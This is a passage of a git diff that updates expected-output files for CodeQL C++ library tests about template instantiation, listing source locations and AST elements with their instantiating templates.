test.cpp:15:7:15:12 | action>> | | test.cpp:15:7:15:12 | definition of action | +| test.cpp:17:10:17:10 | definition of eparse | +| test.cpp:17:10:17:10 | eparse | | test.cpp:17:10:17:15 | definition of eparse | | test.cpp:17:10:17:15 | eparse | -| test.cpp:17:10:17:15 | eparse | | test.cpp:17:19:20:5 | { ... } | | test.cpp:17:19:20:5 | { ... } | | test.cpp:18:9:18:17 | declaration | @@ -327,10 +336,13 @@ | test.cpp:26:7:26:10 | definition of rule | | test.cpp:26:7:26:10 | rule | | test.cpp:28:28:28:34 | ParserT | +| test.cpp:28:28:28:34 | ParserT | | test.cpp:28:28:28:34 | definition of ParserT | +| test.cpp:29:9:29:9 | definition of rule | +| test.cpp:29:9:29:9 | rule | | test.cpp:29:9:29:12 | definition of rule | | test.cpp:29:9:29:12 | rule | -| test.cpp:29:9:29:12 | rule | +| test.cpp:29:22:29:22 | definition of p | | test.cpp:29:22:29:22 | definition of p | | test.cpp:29:22:29:22 | p | | test.cpp:29:22:29:22 | p | diff --git a/cpp/ql/test/library-tests/templates/isfromtemplateinstantiation/instantiations.expected b/cpp/ql/test/library-tests/templates/isfromtemplateinstantiation/instantiations.expected index 77835366401..e1c7f956c7b 100644 --- a/cpp/ql/test/library-tests/templates/isfromtemplateinstantiation/instantiations.expected +++ b/cpp/ql/test/library-tests/templates/isfromtemplateinstantiation/instantiations.expected @@ -1,13 +1,12 @@ -| isfromtemplateinstantiation.cpp:12:24:12:46 | inner_template_function | FunctionTemplateInstantiation | file://:0:0:0:0 | long | -| isfromtemplateinstantiation.cpp:12:24:12:46 | inner_template_function | FunctionTemplateInstantiation | file://:0:0:0:0 | short | -| isfromtemplateinstantiation.cpp:19:24:19:46 | outer_template_function | FunctionTemplateInstantiation | file://:0:0:0:0 | long | -| isfromtemplateinstantiation.cpp:19:24:19:46 | outer_template_function | FunctionTemplateInstantiation | file://:0:0:0:0 | short | -| isfromtemplateinstantiation.cpp:38:26:38:42 | a_template_method | FunctionTemplateInstantiation | file://:0:0:0:0 | short | +| isfromtemplateinstantiation.cpp:12:24:12:24 | inner_template_function | FunctionTemplateInstantiation | file://:0:0:0:0 | long | +| isfromtemplateinstantiation.cpp:12:24:12:24 | inner_template_function | FunctionTemplateInstantiation | file://:0:0:0:0 | short | +| isfromtemplateinstantiation.cpp:19:24:19:24 | outer_template_function | FunctionTemplateInstantiation | file://:0:0:0:0 | long | +| isfromtemplateinstantiation.cpp:19:24:19:24 | outer_template_function | FunctionTemplateInstantiation | file://:0:0:0:0 | short | +| isfromtemplateinstantiation.cpp:38:26:38:26 | a_template_method | FunctionTemplateInstantiation | file://:0:0:0:0 | short | | isfromtemplateinstantiation.cpp:44:26:44:39 | template_class | ClassTemplateInstantiation | file://:0:0:0:0 | char | -| isfromtemplateinstantiation.cpp:53:26:53:42 | b_template_method | FunctionTemplateInstantiation | file://:0:0:0:0 | long | +| isfromtemplateinstantiation.cpp:53:26:53:26 | b_template_method | FunctionTemplateInstantiation | file://:0:0:0:0 | long | | isfromtemplateinstantiation.cpp:77:26:77:45 | AnotherTemplateClass | ClassTemplateInstantiation | file://:0:0:0:0 | int | | isfromtemplateinstantiation.cpp:128:7:128:30 | AnotherTemplateClass | ClassTemplateInstantiation | file://:0:0:0:0 | long * | | isfromtemplateinstantiation.cpp:134:29:134:33 | Outer | ClassTemplateInstantiation | file://:0:0:0:0 | int | | isfromtemplateinstantiation.cpp:135:31:135:35 | Inner | ClassTemplateInstantiation | file://:0:0:0:0 | long | | load.cpp:13:7:13:27 | basic_text_iprimitive | ClassTemplateInstantiation | load.cpp:3:7:3:24 | std_istream_mockup | -| load.cpp:22:10:22:13 | load | FunctionTemplateInstantiation | file://:0:0:0:0 | short | diff --git a/cpp/ql/test/library-tests/templates/isfromtemplateinstantiation/isfromtemplateinstantiation.expected b/cpp/ql/test/library-tests/templates/isfromtemplateinstantiation/isfromtemplateinstantiation.expected index dc73e749a4c..a97246dd899 100644 --- a/cpp/ql/test/library-tests/templates/isfromtemplateinstantiation/isfromtemplateinstantiation.expected +++ b/cpp/ql/test/library-tests/templates/isfromtemplateinstantiation/isfromtemplateinstantiation.expected @@ -1,67 +1,78 @@ -| isfromtemplateinstantiation.cpp:13:1:17:1 | { ... } | isfromtemplateinstantiation.cpp:12:24:12:46 | inner_template_function() | -| isfromtemplateinstantiation.cpp:13:1:17:1 | { ... } | isfromtemplateinstantiation.cpp:12:24:12:46 | inner_template_function() | -| isfromtemplateinstantiation.cpp:14:2:14:5 | declaration | isfromtemplateinstantiation.cpp:12:24:12:46 | inner_template_function() | -| isfromtemplateinstantiation.cpp:14:2:14:5 | declaration | isfromtemplateinstantiation.cpp:12:24:12:46 | inner_template_function() | -| isfromtemplateinstantiation.cpp:14:4:14:4 | definition of t | isfromtemplateinstantiation.cpp:12:24:12:46 | inner_template_function() | -| isfromtemplateinstantiation.cpp:14:4:14:4 | definition of t | isfromtemplateinstantiation.cpp:12:24:12:46 | inner_template_function() | -| isfromtemplateinstantiation.cpp:14:4:14:4 | t | isfromtemplateinstantiation.cpp:12:24:12:46 | inner_template_function() | -| isfromtemplateinstantiation.cpp:14:4:14:4 | t | isfromtemplateinstantiation.cpp:12:24:12:46 | inner_template_function() | -| isfromtemplateinstantiation.cpp:16:2:16:2 | t | isfromtemplateinstantiation.cpp:12:24:12:46 | inner_template_function() | -| isfromtemplateinstantiation.cpp:16:2:16:2 | t | isfromtemplateinstantiation.cpp:12:24:12:46 | inner_template_function() | -| isfromtemplateinstantiation.cpp:16:2:16:4 | ... ++ | isfromtemplateinstantiation.cpp:12:24:12:46 | inner_template_function() | -| isfromtemplateinstantiation.cpp:16:2:16:4 | ... ++ | isfromtemplateinstantiation.cpp:12:24:12:46 | inner_template_function() | -| isfromtemplateinstantiation.cpp:16:2:16:5 | ExprStmt | isfromtemplateinstantiation.cpp:12:24:12:46 | inner_template_function() | -| isfromtemplateinstantiation.cpp:16:2:16:5 | ExprStmt | isfromtemplateinstantiation.cpp:12:24:12:46 | inner_template_function() | -| isfromtemplateinstantiation.cpp:17:1:17:1 | return ... | isfromtemplateinstantiation.cpp:12:24:12:46 | inner_template_function() | -| isfromtemplateinstantiation.cpp:17:1:17:1 | return ... | isfromtemplateinstantiation.cpp:12:24:12:46 | inner_template_function() | -| isfromtemplateinstantiation.cpp:20:1:26:1 | { ... } | isfromtemplateinstantiation.cpp:19:24:19:46 | outer_template_function() | -| isfromtemplateinstantiation.cpp:20:1:26:1 | { ... } | isfromtemplateinstantiation.cpp:19:24:19:46 | outer_template_function() | -| isfromtemplateinstantiation.cpp:21:2:21:11 | declaration | isfromtemplateinstantiation.cpp:19:24:19:46 | outer_template_function() | -| isfromtemplateinstantiation.cpp:21:2:21:11 | declaration | isfromtemplateinstantiation.cpp:19:24:19:46 | outer_template_function() | -| isfromtemplateinstantiation.cpp:21:6:21:6 | definition of i | isfromtemplateinstantiation.cpp:19:24:19:46 | outer_template_function() | -| isfromtemplateinstantiation.cpp:21:6:21:6 | definition of i | isfromtemplateinstantiation.cpp:19:24:19:46 | outer_template_function() | -| isfromtemplateinstantiation.cpp:21:6:21:6 | i | isfromtemplateinstantiation.cpp:19:24:19:46 | outer_template_function() | -| isfromtemplateinstantiation.cpp:21:6:21:6 | i | isfromtemplateinstantiation.cpp:19:24:19:46 | outer_template_function() | -| isfromtemplateinstantiation.cpp:21:9:21:10 | 0 | isfromtemplateinstantiation.cpp:19:24:19:46 | outer_template_function() | -| isfromtemplateinstantiation.cpp:21:9:21:10 | 0 | isfromtemplateinstantiation.cpp:19:24:19:46 | outer_template_function() | -| isfromtemplateinstantiation.cpp:21:9:21:10 | initializer for i | isfromtemplateinstantiation.cpp:19:24:19:46 | outer_template_function() | -| isfromtemplateinstantiation.cpp:21:9:21:10 | initializer for i | isfromtemplateinstantiation.cpp:19:24:19:46 | outer_template_function() | -| isfromtemplateinstantiation.cpp:23:2:23:8 | ... ++ | isfromtemplateinstantiation.cpp:19:24:19:46 | outer_template_function() | -| isfromtemplateinstantiation.cpp:23:2:23:8 | ... ++ | isfromtemplateinstantiation.cpp:19:24:19:46 | outer_template_function() | -| isfromtemplateinstantiation.cpp:23:2:23:8 | i | isfromtemplateinstantiation.cpp:19:24:19:46 | outer_template_function() | -| isfromtemplateinstantiation.cpp:23:2:23:8 | i | isfromtemplateinstantiation.cpp:19:24:19:46 | outer_template_function() | -| isfromtemplateinstantiation.cpp:23:2:23:9 | ExprStmt | isfromtemplateinstantiation.cpp:19:24:19:46 | outer_template_function() | -| isfromtemplateinstantiation.cpp:23:2:23:9 | ExprStmt | isfromtemplateinstantiation.cpp:19:24:19:46 | outer_template_function() | -| isfromtemplateinstantiation.cpp:25:2:25:27 | call to inner_template_function | isfromtemplateinstantiation.cpp:19:24:19:46 | outer_template_function() | -| isfromtemplateinstantiation.cpp:25:2:25:27 | call to inner_template_function | isfromtemplateinstantiation.cpp:19:24:19:46 | outer_template_function() | -| isfromtemplateinstantiation.cpp:25:2:25:30 | ExprStmt | isfromtemplateinstantiation.cpp:19:24:19:46 | outer_template_function() | -| isfromtemplateinstantiation.cpp:25:2:25:30 | ExprStmt | isfromtemplateinstantiation.cpp:19:24:19:46 | outer_template_function() | -| isfromtemplateinstantiation.cpp:26:1:26:1 | return ... | isfromtemplateinstantiation.cpp:19:24:19:46 | outer_template_function() | -| isfromtemplateinstantiation.cpp:26:1:26:1 | return ... | isfromtemplateinstantiation.cpp:19:24:19:46 | outer_template_function() | -| isfromtemplateinstantiation.cpp:39:2:40:2 | { ... } | isfromtemplateinstantiation.cpp:38:26:38:42 | normal_class::a_template_method() | -| isfromtemplateinstantiation.cpp:40:2:40:2 | return ... | isfromtemplateinstantiation.cpp:38:26:38:42 | normal_class::a_template_method() | +| isfromtemplateinstantiation.cpp:12:24:12:24 | definition of inner_template_function | isfromtemplateinstantiation.cpp:12:24:12:24 | inner_template_function() | +| isfromtemplateinstantiation.cpp:12:24:12:24 | definition of inner_template_function | isfromtemplateinstantiation.cpp:12:24:12:24 | inner_template_function() | +| isfromtemplateinstantiation.cpp:13:1:17:1 | { ... } | isfromtemplateinstantiation.cpp:12:24:12:24 | inner_template_function() | +| isfromtemplateinstantiation.cpp:13:1:17:1 | { ... } | isfromtemplateinstantiation.cpp:12:24:12:24 | inner_template_function() | +| isfromtemplateinstantiation.cpp:14:2:14:5 | declaration | isfromtemplateinstantiation.cpp:12:24:12:24 | inner_template_function() | +| isfromtemplateinstantiation.cpp:14:2:14:5 | declaration | isfromtemplateinstantiation.cpp:12:24:12:24 | inner_template_function() | +| isfromtemplateinstantiation.cpp:14:4:14:4 | definition of t | isfromtemplateinstantiation.cpp:12:24:12:24 | inner_template_function() | +| isfromtemplateinstantiation.cpp:14:4:14:4 | definition of t | isfromtemplateinstantiation.cpp:12:24:12:24 | inner_template_function() | +| isfromtemplateinstantiation.cpp:14:4:14:4 | t | isfromtemplateinstantiation.cpp:12:24:12:24 | inner_template_function() | +| isfromtemplateinstantiation.cpp:14:4:14:4 | t | isfromtemplateinstantiation.cpp:12:24:12:24 | inner_template_function() | +| isfromtemplateinstantiation.cpp:16:2:16:2 | t | isfromtemplateinstantiation.cpp:12:24:12:24 | inner_template_function() | +| isfromtemplateinstantiation.cpp:16:2:16:2 | t | isfromtemplateinstantiation.cpp:12:24:12:24 | inner_template_function() | +| isfromtemplateinstantiation.cpp:16:2:16:4 | ... ++ | isfromtemplateinstantiation.cpp:12:24:12:24 | inner_template_function() | +| isfromtemplateinstantiation.cpp:16:2:16:4 | ... ++ | isfromtemplateinstantiation.cpp:12:24:12:24 | inner_template_function() | +| isfromtemplateinstantiation.cpp:16:2:16:5 | ExprStmt | isfromtemplateinstantiation.cpp:12:24:12:24 | inner_template_function() | +| isfromtemplateinstantiation.cpp:16:2:16:5 | ExprStmt | isfromtemplateinstantiation.cpp:12:24:12:24 | inner_template_function() | +| isfromtemplateinstantiation.cpp:17:1:17:1 | return ... | isfromtemplateinstantiation.cpp:12:24:12:24 | inner_template_function() | +| isfromtemplateinstantiation.cpp:17:1:17:1 | return ... | isfromtemplateinstantiation.cpp:12:24:12:24 | inner_template_function() | +| isfromtemplateinstantiation.cpp:19:24:19:24 | definition of outer_template_function | isfromtemplateinstantiation.cpp:19:24:19:24 | outer_template_function() | +| isfromtemplateinstantiation.cpp:19:24:19:24 | definition of outer_template_function | isfromtemplateinstantiation.cpp:19:24:19:24 | outer_template_function() | +| isfromtemplateinstantiation.cpp:20:1:26:1 | { ... } | isfromtemplateinstantiation.cpp:19:24:19:24 | outer_template_function() | +| isfromtemplateinstantiation.cpp:20:1:26:1 | { ... } | isfromtemplateinstantiation.cpp:19:24:19:24 | outer_template_function() | +| isfromtemplateinstantiation.cpp:21:2:21:11 | declaration | isfromtemplateinstantiation.cpp:19:24:19:24 | outer_template_function() | +| isfromtemplateinstantiation.cpp:21:2:21:11 | declaration | isfromtemplateinstantiation.cpp:19:24:19:24 | outer_template_function() | +| isfromtemplateinstantiation.cpp:21:6:21:6 | definition of i | isfromtemplateinstantiation.cpp:19:24:19:24 | outer_template_function() | +| isfromtemplateinstantiation.cpp:21:6:21:6 | definition of i | isfromtemplateinstantiation.cpp:19:24:19:24 | outer_template_function() | +| isfromtemplateinstantiation.cpp:21:6:21:6 | i | isfromtemplateinstantiation.cpp:19:24:19:24 | outer_template_function() | +| isfromtemplateinstantiation.cpp:21:6:21:6 | i | isfromtemplateinstantiation.cpp:19:24:19:24 | outer_template_function() | +| isfromtemplateinstantiation.cpp:21:9:21:10 | 0 | isfromtemplateinstantiation.cpp:19:24:19:24 | outer_template_function() | +| isfromtemplateinstantiation.cpp:21:9:21:10 | 0 | isfromtemplateinstantiation.cpp:19:24:19:24 | outer_template_function() | +| isfromtemplateinstantiation.cpp:21:9:21:10 | initializer for i | isfromtemplateinstantiation.cpp:19:24:19:24 | outer_template_function() | +| isfromtemplateinstantiation.cpp:21:9:21:10 | initializer for i | isfromtemplateinstantiation.cpp:19:24:19:24 | outer_template_function() | +| isfromtemplateinstantiation.cpp:23:2:23:8 | ... ++ | isfromtemplateinstantiation.cpp:19:24:19:24 | outer_template_function() | +| isfromtemplateinstantiation.cpp:23:2:23:8 | ... ++ | isfromtemplateinstantiation.cpp:19:24:19:24 | outer_template_function() | +| isfromtemplateinstantiation.cpp:23:2:23:8 | i | isfromtemplateinstantiation.cpp:19:24:19:24 | outer_template_function() | +| isfromtemplateinstantiation.cpp:23:2:23:8 | i | isfromtemplateinstantiation.cpp:19:24:19:24 | outer_template_function() | +| isfromtemplateinstantiation.cpp:23:2:23:9 | ExprStmt | isfromtemplateinstantiation.cpp:19:24:19:24 | outer_template_function() | +| isfromtemplateinstantiation.cpp:23:2:23:9 | ExprStmt | isfromtemplateinstantiation.cpp:19:24:19:24 | outer_template_function() | +| isfromtemplateinstantiation.cpp:25:2:25:27 | call to inner_template_function | isfromtemplateinstantiation.cpp:19:24:19:24 | outer_template_function() | +| isfromtemplateinstantiation.cpp:25:2:25:27 | call to inner_template_function | isfromtemplateinstantiation.cpp:19:24:19:24 | outer_template_function() | +| isfromtemplateinstantiation.cpp:25:2:25:30 | ExprStmt | isfromtemplateinstantiation.cpp:19:24:19:24 | outer_template_function() | +| isfromtemplateinstantiation.cpp:25:2:25:30 | ExprStmt | isfromtemplateinstantiation.cpp:19:24:19:24 | outer_template_function() | +| isfromtemplateinstantiation.cpp:26:1:26:1 | return ... | isfromtemplateinstantiation.cpp:19:24:19:24 | outer_template_function() | +| isfromtemplateinstantiation.cpp:26:1:26:1 | return ... | isfromtemplateinstantiation.cpp:19:24:19:24 | outer_template_function() | +| isfromtemplateinstantiation.cpp:38:26:38:26 | definition of a_template_method | isfromtemplateinstantiation.cpp:38:26:38:26 | normal_class::a_template_method() | +| isfromtemplateinstantiation.cpp:39:2:40:2 | { ... } | isfromtemplateinstantiation.cpp:38:26:38:26 | normal_class::a_template_method() | +| isfromtemplateinstantiation.cpp:40:2:40:2 | return ... | isfromtemplateinstantiation.cpp:38:26:38:26 | normal_class::a_template_method() | | isfromtemplateinstantiation.cpp:44:26:44:26 | declaration of operator= | isfromtemplateinstantiation.cpp:44:26:44:39 | template_class | | isfromtemplateinstantiation.cpp:44:26:44:26 | declaration of operator= | isfromtemplateinstantiation.cpp:44:26:44:39 | template_class | | isfromtemplateinstantiation.cpp:44:26:44:26 | template_class::operator=(const template_class &) | isfromtemplateinstantiation.cpp:44:26:44:39 | template_class | | isfromtemplateinstantiation.cpp:44:26:44:26 | template_class::operator=(template_class &&) | isfromtemplateinstantiation.cpp:44:26:44:39 | template_class | | isfromtemplateinstantiation.cpp:46:4:46:4 | definition of t | isfromtemplateinstantiation.cpp:44:26:44:39 | template_class | | isfromtemplateinstantiation.cpp:46:4:46:4 | t | isfromtemplateinstantiation.cpp:44:26:44:39 | template_class | -| isfromtemplateinstantiation.cpp:49:7:49:14 | template_class::b_method() | isfromtemplateinstantiation.cpp:44:26:44:39 | template_class | +| isfromtemplateinstantiation.cpp:49:7:49:7 | definition of b_method | isfromtemplateinstantiation.cpp:44:26:44:39 | template_class | +| isfromtemplateinstantiation.cpp:49:7:49:7 | definition of b_method | isfromtemplateinstantiation.cpp:49:7:49:7 | template_class::b_method() | +| isfromtemplateinstantiation.cpp:49:7:49:7 | template_class::b_method() | isfromtemplateinstantiation.cpp:44:26:44:39 | template_class | | isfromtemplateinstantiation.cpp:50:2:51:2 | { ... } | isfromtemplateinstantiation.cpp:44:26:44:39 | template_class | -| isfromtemplateinstantiation.cpp:50:2:51:2 | { ... } | isfromtemplateinstantiation.cpp:49:7:49:14 | template_class::b_method() | +| isfromtemplateinstantiation.cpp:50:2:51:2 | { ... } | isfromtemplateinstantiation.cpp:49:7:49:7 | template_class::b_method() | | isfromtemplateinstantiation.cpp:51:2:51:2 | return ... | isfromtemplateinstantiation.cpp:44:26:44:39 | template_class | -| isfromtemplateinstantiation.cpp:51:2:51:2 | return ... | isfromtemplateinstantiation.cpp:49:7:49:14 | template_class::b_method() | +| isfromtemplateinstantiation.cpp:51:2:51:2 | return ... | isfromtemplateinstantiation.cpp:49:7:49:7 | template_class::b_method() | +| isfromtemplateinstantiation.cpp:53:26:53:26 | definition of b_template_method | isfromtemplateinstantiation.cpp:44:26:44:39 | template_class | +| isfromtemplateinstantiation.cpp:53:26:53:26 | definition of b_template_method | isfromtemplateinstantiation.cpp:53:26:53:26 | template_class::b_template_method(long) | +| isfromtemplateinstantiation.cpp:53:26:53:26 | template_class::b_template_method(long) | isfromtemplateinstantiation.cpp:44:26:44:39 | template_class | | isfromtemplateinstantiation.cpp:53:26:53:42 | declaration of b_template_method | isfromtemplateinstantiation.cpp:44:26:44:39 | template_class | | isfromtemplateinstantiation.cpp:53:26:53:42 | template_class::b_template_method(U) | isfromtemplateinstantiation.cpp:44:26:44:39 | template_class | -| isfromtemplateinstantiation.cpp:53:26:53:42 | template_class::b_template_method(long) | isfromtemplateinstantiation.cpp:44:26:44:39 | template_class | | isfromtemplateinstantiation.cpp:53:46:53:46 | U u | isfromtemplateinstantiation.cpp:44:26:44:39 | template_class | | isfromtemplateinstantiation.cpp:53:46:53:46 | declaration of u | isfromtemplateinstantiation.cpp:44:26:44:39 | template_class | +| isfromtemplateinstantiation.cpp:53:46:53:46 | definition of u | isfromtemplateinstantiation.cpp:44:26:44:39 | template_class | +| isfromtemplateinstantiation.cpp:53:46:53:46 | definition of u | isfromtemplateinstantiation.cpp:53:26:53:26 | template_class::b_template_method(long) | | isfromtemplateinstantiation.cpp:53:46:53:46 | long u | isfromtemplateinstantiation.cpp:44:26:44:39 | template_class | -| isfromtemplateinstantiation.cpp:53:46:53:46 | long u | isfromtemplateinstantiation.cpp:53:26:53:42 | template_class::b_template_method(long) | +| isfromtemplateinstantiation.cpp:53:46:53:46 | long u | isfromtemplateinstantiation.cpp:53:26:53:26 | template_class::b_template_method(long) | | isfromtemplateinstantiation.cpp:54:2:55:2 | { ... } | isfromtemplateinstantiation.cpp:44:26:44:39 | template_class | -| isfromtemplateinstantiation.cpp:54:2:55:2 | { ... } | isfromtemplateinstantiation.cpp:53:26:53:42 | template_class::b_template_method(long) | +| isfromtemplateinstantiation.cpp:54:2:55:2 | { ... } | isfromtemplateinstantiation.cpp:53:26:53:26 | template_class::b_template_method(long) | | isfromtemplateinstantiation.cpp:55:2:55:2 | return ... | isfromtemplateinstantiation.cpp:44:26:44:39 | template_class | -| isfromtemplateinstantiation.cpp:55:2:55:2 | return ... | isfromtemplateinstantiation.cpp:53:26:53:42 | template_class::b_template_method(long) | +| isfromtemplateinstantiation.cpp:55:2:55:2 | return ... | isfromtemplateinstantiation.cpp:53:26:53:26 | template_class::b_template_method(long) | | isfromtemplateinstantiation.cpp:77:26:77:26 | AnotherTemplateClass::operator=(AnotherTemplateClass &&) | isfromtemplateinstantiation.cpp:77:26:77:45 | AnotherTemplateClass | | isfromtemplateinstantiation.cpp:77:26:77:26 | AnotherTemplateClass::operator=(const AnotherTemplateClass &) | isfromtemplateinstantiation.cpp:77:26:77:45 | AnotherTemplateClass | | isfromtemplateinstantiation.cpp:77:26:77:26 | AnotherTemplateClass::operator=(AnotherTemplateClass &&) | isfromtemplateinstantiation.cpp:128:7:128:30 | AnotherTemplateClass | @@ -86,32 +97,33 @@ | isfromtemplateinstantiation.cpp:86:16:86:16 | definition of l | isfromtemplateinstantiation.cpp:77:26:77:45 | AnotherTemplateClass | | isfromtemplateinstantiation.cpp:86:16:86:16 | l | isfromtemplateinstantiation.cpp:77:26:77:45 | AnotherTemplateClass | | isfromtemplateinstantiation.cpp:90:3:90:18 | MyClassEnumConst | isfromtemplateinstantiation.cpp:77:26:77:45 | AnotherTemplateClass | -| isfromtemplateinstantiation.cpp:93:7:93:15 | AnotherTemplateClass::myMethod1(MyClassEnum) | isfromtemplateinstantiation.cpp:77:26:77:45 | AnotherTemplateClass | +| isfromtemplateinstantiation.cpp:93:7:93:7 | AnotherTemplateClass::myMethod1(MyClassEnum) | isfromtemplateinstantiation.cpp:77:26:77:45 | AnotherTemplateClass | +| isfromtemplateinstantiation.cpp:93:7:93:7 | definition of myMethod1 | isfromtemplateinstantiation.cpp:77:26:77:45 | AnotherTemplateClass | +| isfromtemplateinstantiation.cpp:93:7:93:7 | definition of myMethod1 | isfromtemplateinstantiation.cpp:93:7:93:7 | AnotherTemplateClass::myMethod1(MyClassEnum) | | isfromtemplateinstantiation.cpp:93:29:93:32 | MyClassEnum mce1 | isfromtemplateinstantiation.cpp:77:26:77:45 | AnotherTemplateClass | -| isfromtemplateinstantiation.cpp:93:29:93:32 | MyClassEnum mce1 | isfromtemplateinstantiation.cpp:93:7:93:15 | AnotherTemplateClass::myMethod1(MyClassEnum) | +| isfromtemplateinstantiation.cpp:93:29:93:32 | MyClassEnum mce1 | isfromtemplateinstantiation.cpp:93:7:93:7 | AnotherTemplateClass::myMethod1(MyClassEnum) | +| isfromtemplateinstantiation.cpp:93:29:93:32 | definition of mce1 | isfromtemplateinstantiation.cpp:77:26:77:45 | AnotherTemplateClass | +| isfromtemplateinstantiation.cpp:93:29:93:32 | definition of mce1 | isfromtemplateinstantiation.cpp:93:7:93:7 | AnotherTemplateClass::myMethod1(MyClassEnum) | | isfromtemplateinstantiation.cpp:93:36:93:51 | MyClassEnumConst | isfromtemplateinstantiation.cpp:77:26:77:45 | AnotherTemplateClass | -| isfromtemplateinstantiation.cpp:93:36:93:51 | MyClassEnumConst | isfromtemplateinstantiation.cpp:93:7:93:15 | AnotherTemplateClass::myMethod1(MyClassEnum) | +| isfromtemplateinstantiation.cpp:93:36:93:51 | MyClassEnumConst | isfromtemplateinstantiation.cpp:93:7:93:7 | AnotherTemplateClass::myMethod1(MyClassEnum) | | isfromtemplateinstantiation.cpp:93:54:93:55 | { ... } | isfromtemplateinstantiation.cpp:77:26:77:45 | AnotherTemplateClass | -| isfromtemplateinstantiation.cpp:93:54:93:55 | { ... } | isfromtemplateinstantiation.cpp:93:7:93:15 | AnotherTemplateClass::myMethod1(MyClassEnum) | +| isfromtemplateinstantiation.cpp:93:54:93:55 | { ... } | isfromtemplateinstantiation.cpp:93:7:93:7 | AnotherTemplateClass::myMethod1(MyClassEnum) | | isfromtemplateinstantiation.cpp:93:55:93:55 | return ... | isfromtemplateinstantiation.cpp:77:26:77:45 | AnotherTemplateClass | -| isfromtemplateinstantiation.cpp:93:55:93:55 | return ... | isfromtemplateinstantiation.cpp:93:7:93:15 | AnotherTemplateClass::myMethod1(MyClassEnum) | +| isfromtemplateinstantiation.cpp:93:55:93:55 | return ... | isfromtemplateinstantiation.cpp:93:7:93:7 | AnotherTemplateClass::myMethod1(MyClassEnum) | +| isfromtemplateinstantiation.cpp:94:29:94:32 | definition of mce2 | isfromtemplateinstantiation.cpp:77:26:77:45 | AnotherTemplateClass | +| isfromtemplateinstantiation.cpp:94:29:94:32 | definition of mce2 | isfromtemplateinstantiation.cpp:97:52:97:52 | AnotherTemplateClass::myMethod2(MyClassEnum) | | isfromtemplateinstantiation.cpp:94:36:94:51 | MyClassEnumConst | isfromtemplateinstantiation.cpp:77:26:77:45 | AnotherTemplateClass | -| isfromtemplateinstantiation.cpp:94:36:94:51 | MyClassEnumConst | isfromtemplateinstantiation.cpp:97:25:97:60 | AnotherTemplateClass::myMethod2(MyClassEnum) | -| isfromtemplateinstantiation.cpp:97:25:97:60 | AnotherTemplateClass::myMethod2(MyClassEnum) | isfromtemplateinstantiation.cpp:77:26:77:45 | AnotherTemplateClass | +| isfromtemplateinstantiation.cpp:94:36:94:51 | MyClassEnumConst | isfromtemplateinstantiation.cpp:97:52:97:52 | AnotherTemplateClass::myMethod2(MyClassEnum) | +| isfromtemplateinstantiation.cpp:97:52:97:52 | AnotherTemplateClass::myMethod2(MyClassEnum) | isfromtemplateinstantiation.cpp:77:26:77:45 | AnotherTemplateClass | +| isfromtemplateinstantiation.cpp:97:52:97:52 | definition of myMethod2 | isfromtemplateinstantiation.cpp:77:26:77:45 | AnotherTemplateClass | +| isfromtemplateinstantiation.cpp:97:52:97:52 | definition of myMethod2 | isfromtemplateinstantiation.cpp:97:52:97:52 | AnotherTemplateClass::myMethod2(MyClassEnum) | | isfromtemplateinstantiation.cpp:97:74:97:77 | MyClassEnum mce2 | isfromtemplateinstantiation.cpp:77:26:77:45 | AnotherTemplateClass | -| isfromtemplateinstantiation.cpp:97:74:97:77 | MyClassEnum mce2 | isfromtemplateinstantiation.cpp:97:25:97:60 | AnotherTemplateClass::myMethod2(MyClassEnum) | +| isfromtemplateinstantiation.cpp:97:74:97:77 | MyClassEnum mce2 | isfromtemplateinstantiation.cpp:97:52:97:52 | AnotherTemplateClass::myMethod2(MyClassEnum) | | isfromtemplateinstantiation.cpp:98:1:99:1 | { ... } | isfromtemplateinstantiation.cpp:77:26:77:45 | AnotherTemplateClass | -| isfromtemplateinstantiation.cpp:98:1:99:1 | { ... } | isfromtemplateinstantiation.cpp:97:25:97:60 | AnotherTemplateClass::myMethod2(MyClassEnum) | +| isfromtemplateinstantiation.cpp:98:1:99:1 | { ... } | isfromtemplateinstantiation.cpp:97:52:97:52 | AnotherTemplateClass::myMethod2(MyClassEnum) | | isfromtemplateinstantiation.cpp:99:1:99:1 | return ... | isfromtemplateinstantiation.cpp:77:26:77:45 | AnotherTemplateClass | -| isfromtemplateinstantiation.cpp:99:1:99:1 | return ... | isfromtemplateinstantiation.cpp:97:25:97:60 | AnotherTemplateClass::myMethod2(MyClassEnum) | +| isfromtemplateinstantiation.cpp:99:1:99:1 | return ... | isfromtemplateinstantiation.cpp:97:52:97:52 | AnotherTemplateClass::myMethod2(MyClassEnum) | | isfromtemplateinstantiation.cpp:110:3:110:3 | definition of var_template | isfromtemplateinstantiation.cpp:110:3:110:3 | var_template | -| isfromtemplateinstantiation.cpp:129:6:129:6 | AnotherTemplateClass::f() | isfromtemplateinstantiation.cpp:128:7:128:30 | AnotherTemplateClass | -| isfromtemplateinstantiation.cpp:129:10:129:22 | { ... } | isfromtemplateinstantiation.cpp:128:7:128:30 | AnotherTemplateClass | -| isfromtemplateinstantiation.cpp:129:10:129:22 | { ... } | isfromtemplateinstantiation.cpp:129:6:129:6 | AnotherTemplateClass::f() | -| isfromtemplateinstantiation.cpp:129:12:129:20 | return ... | isfromtemplateinstantiation.cpp:128:7:128:30 | AnotherTemplateClass | -| isfromtemplateinstantiation.cpp:129:12:129:20 | return ... | isfromtemplateinstantiation.cpp:129:6:129:6 | AnotherTemplateClass::f() | -| isfromtemplateinstantiation.cpp:129:19:129:19 | 1 | isfromtemplateinstantiation.cpp:128:7:128:30 | AnotherTemplateClass | -| isfromtemplateinstantiation.cpp:129:19:129:19 | 1 | isfromtemplateinstantiation.cpp:129:6:129:6 | AnotherTemplateClass::f() | | isfromtemplateinstantiation.cpp:134:29:134:29 | Outer::operator=(Outer &&) | isfromtemplateinstantiation.cpp:134:29:134:33 | Outer | | isfromtemplateinstantiation.cpp:134:29:134:29 | Outer::operator=(const Outer &) | isfromtemplateinstantiation.cpp:134:29:134:33 | Outer | | isfromtemplateinstantiation.cpp:134:29:134:29 | declaration of operator= | isfromtemplateinstantiation.cpp:134:29:134:33 | Outer | @@ -120,6 +132,8 @@ | isfromtemplateinstantiation.cpp:135:31:135:31 | Outer::Inner::operator=(const Inner &) | isfromtemplateinstantiation.cpp:135:31:135:35 | Inner | | isfromtemplateinstantiation.cpp:135:31:135:31 | declaration of operator= | isfromtemplateinstantiation.cpp:135:31:135:35 | Inner | | isfromtemplateinstantiation.cpp:135:31:135:31 | declaration of operator= | isfromtemplateinstantiation.cpp:135:31:135:35 | Inner | +| isfromtemplateinstantiation.cpp:135:31:135:35 | Inner | 